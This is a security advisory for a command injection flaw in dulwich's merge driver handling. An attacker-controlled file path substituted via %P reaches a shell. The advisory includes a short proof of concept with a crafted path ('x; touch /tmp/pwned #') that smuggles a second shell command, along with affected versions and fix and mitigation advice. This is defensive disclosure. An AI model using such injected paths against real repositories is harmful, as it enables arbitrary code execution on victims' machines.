GHSA-9277-mp7x-85jf — dulwich
Fix: jelmer/dulwich@e3331b3GHSA-9277-mp7x-85jf is a OS Command Injection vulnerability in dulwich. A fix is available for dulwich — see the affected versions and patch details below.
Dulwich Vulnerable to Command Injection via Merge Driver Path
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9277-mp7x-85jf.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
dulwichReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.pyline 195 — path from merge tree (from repository content when merging untrusted branch) - Sink:
merge_drivers.pylines 124–127 —subprocess.run(cmd, shell=True)wherecmdincludes path via%Pplaceholder - Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%Pplaceholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py(lines 119–129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned
Fix
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | dulwich | ≥ 0.24.0&&< 1.2.5 | 1.2.5pip install --upgrade 'dulwich==1.2.5' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dulwich, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dulwich to 1.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9277-mp7x-85jf is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-9277-mp7x-85jf in your dependencies?
Find it across PyPI, including transitive dependencies.